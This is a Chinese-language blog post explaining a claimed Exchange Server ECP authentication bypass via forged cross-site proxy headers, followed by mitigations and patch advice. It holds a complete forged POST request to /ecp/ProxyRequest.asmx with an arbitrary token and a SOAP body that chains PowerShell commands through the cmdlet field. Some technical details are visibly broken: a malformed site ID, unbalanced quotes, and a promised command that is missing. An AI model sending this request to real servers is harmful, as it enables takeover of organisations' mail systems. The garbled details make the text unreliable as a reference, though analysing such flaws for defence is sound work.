漏洞存在场景:
- Exchange Server 2016 Cumulative Update 25 及以下;
- Exchange Server 2019 Cumulative Update 14 及以下;
- 未安装 2025 年 9 月微软安全更新(KB5048234/KB5048235)的本地部署版本;
- EXChange server开启ECP接口,默认为443端口,最好实际为多站点部署;
- 对访问ECP无任何前置权限设置;
实现原理概述:
基于Exchange server多站点场景中,进行跨站访问的时候,由于简化认证流程,避免重复认证, 如果服务器判定为跨站访问,此时如果你的令牌合法(无论有效不有效),则就会免认证访问,通过此方法来实现身份认证绕过,并可执行恶意代码;
关键点
什么是跨站访问,如何使其判定为跨站访问
实现详解:
Exchange server 的多站点部署:
为提升邮件系统的异地办公或优化跨区域访问,比如企业在多地各有办公区域,为避免单站点故障导致邮件系统瘫痪,会在两地部署 Exchange 服务器,组成数据库可用性组(DAG)。当某一站点服务器故障时,另外站点的数据库副本可自动接管,保障业务连续。
那什么是跨站访问:
其实就是服务器之间自动转发用户请求的机制,比如用户访问 A 站点的 OWA/ECP/EWS 接口,但邮箱数据实际存储在 B 站点的服务器上,此时 A 站点会作为 “代理服务器”,将请求转发到 B 站点,再把 B 站点的响应返回给用户,用户无需手动切换访问地址。
漏洞触发点:
为了避免重复认证,在 A 站点会作为 “代理服务器”,将请求转发到 B 站点的时候,会进行免认证处理,因为此时服务器会认为此步骤是经过前端认证过的,前端认证后,会生成一个令牌,此时只会检查令牌是否合法,就会允许通行;
下图为正常的多站点访问流程:

下一个关键点,怎么判定为跨站访问:
主动访问Exchange server 的/ecp/ProxyRequest.asmx ,此端点为专门处理 “跨站点请求转发” 的接口端点,并同时伪造传入参数:
X-CommonAccessToken: sjqid123!@# 任意无效令牌(可自定义,随机字符串即可)
X-ProxyContext: EWS # 设置为EWS的请求,ews代表的是数据交互的api接口,会频繁使用ecp的代理接口,当ecp收到ews的请求后,默认会启用优先代理的逻辑;
X-Exchange-BackendServer: xxx.xxx.com # 伪造的异站服务器地址,填一个 “看似属于其他站点” 的地址(无需真实存在,格式合法即可),
X-SiteContext: 00000000-0000-0000-0000-0000000031201 # 固定伪造站点ID,提升兼容性
下图为漏洞的实现逻辑:

上图步骤二中的OwaEcpProxyRequestHandler组件就是在跨站访问的时候使用的,这个组件在处理跨站点代理请求时,对X-CommonAccessToken令牌的校验逻辑不严谨,仅简单检查令牌格式是否存在,而非验证令牌的签名、有效期和合法性,导致无效令牌被误判为合法,直接绕过身份验证;
如上图所示,如果绕过身份认证之后,就可携带恶意指令执行相应的操作;
那恶意代码怎么携带实现呢?
同样也是在伪造的跨站请求包中,放在请求体中,通过SOAP(简单对象访问协议)携带;
那什么是SOAP,格式是什么样的?
SOAP:基于 XML 的跨平台、跨语言的通信协议;
不同系统(像说不同语言的人)要沟通,SOAP 就是一套 “标准化邮件格式”—— 不管双方底层用什么技术,只要按这个格式发 “邮件”(请求),对方就能看懂并回复(响应)。
格式大体为:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ProxyRequest xmlns="http://schemas.microsoft.com/exchange/services/2006/messages">
<cmdlet>Get-Mailbox; Write-Host "xxx;</cmdlet>
<parameters/>
<proxyContext>EWS</proxyContext>
<culture>en-US</culture>
<uiCulture>en-US</uiCulture>
</ProxyRequest>
</soapenv:Body>
</soapenv:Envelope>
<soapenv:Envelope>:SOAP 信封根标签,定义了命名空间http://schemas.xmlsoap.org/soap/envelope/(SOAP 1.1 标准命名空间);<soapenv:Header>:SOAP 消息头,用于携带请求元数据(如请求类型、授权信息);<soapenv:Body>:SOAP 消息体。-
<ProxyRequest>:是 Exchange EWS 代理接口的标准请求标签; - <cmdlet>:核心命令执行标签,Exchange 接口会将标签内的字符串当作 PowerShell 命令 执行
- <parameters/>:用于传递
<cmdlet>命令的参数(如Get-Mailbox -Identity "user@company.com"),此处无额外参数,仅执行命令本身。 - <proxyContext>:声明代理请求的上下文是 “EWS”(Exchange Web Services),告诉 Exchange 服务器 “通过 EWS 服务处理该命令”,是接口必需参数。
即此时就可以伪造数据包完成身份认证绕过,示例为:
POST /ecp/ProxyRequest.asmx HTTP/1.1
Host: mail.xxx.com # 替换为你的Exchange服务器统一入口域名
X-CommonAccessToken: invalid_token_abc123!@# # 任意无效令牌(可自定义,随机字符串即可)
X-ProxyContext: EWS # 固定值,触发跨站代理校验逻辑(漏洞核心触发点)
X-Exchange-BackendServer: mail.xxx.com # 强化跨站代理场景伪装
X-SiteContext: 00000000-0000-0000-0000-000000000001 # 固定伪造站点ID,提升兼容性
Content-Type: text/xml; charset=utf-8
Content-Length: 558 # 无需手动修改
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ProxyRequest xmlns="http://schemas.microsoft.com/exchange/services/2006/messages">
<cmdlet>Get-Mailbox; Write-Host "代码“;</cmdlet>
<parameters/>
<proxyContext>EWS</proxyContext>
<culture>en-US</culture>
<uiCulture>en-US</uiCulture>
</ProxyRequest>
</soapenv:Body>
</soapenv:Envelope>
临时防护措施:
- 临时阻断 ECP 访问:若暂时无法安装补丁,通过防火墙 / IPS 拦截外部对
https://xxxxx/ecp/的访问(仅允许内网管理员访问); - 通过 Exchange 日志(路径:
C:\Program Files\Microsoft\Exchange Server\V15\Logging\OwaEcpProxy)监控包含X-CommonAccessToken头且cmdlet参数包含;|等特殊字符的请求; - 禁用不必要的跨站点代理:通过 PowerShell 命令禁用 ECP 对 EWS 的跨站点代理(仅适用于单站点部署):
漏洞的解决方式:
1、立即安装微软 2025 年 9 月安全更新(Exchange 2016:KB5048234;Exchange 2019:KB5048235);
修复原理:
- 强化令牌校验:修改
OwaEcpProxyRequestHandler组件的X-CommonAccessToken解析逻辑,严格校验令牌的签名、格式和有效期,拒绝无效令牌绕过认证; - 限制命令执行范围:对 ECP 接口的
cmdlet参数添加 “白名单校验”,仅允许执行预设的 Exchange 管理命令,禁止拼接任意 PowerShell 代码,阻断代码注入路径。
结语:
以上理论为基于公开漏洞分析、安全社区披露的 POC 逻辑进行总结整理,仅为作者自己的学习思路,仅供参考学习;
554

被折叠的 条评论
为什么被折叠?



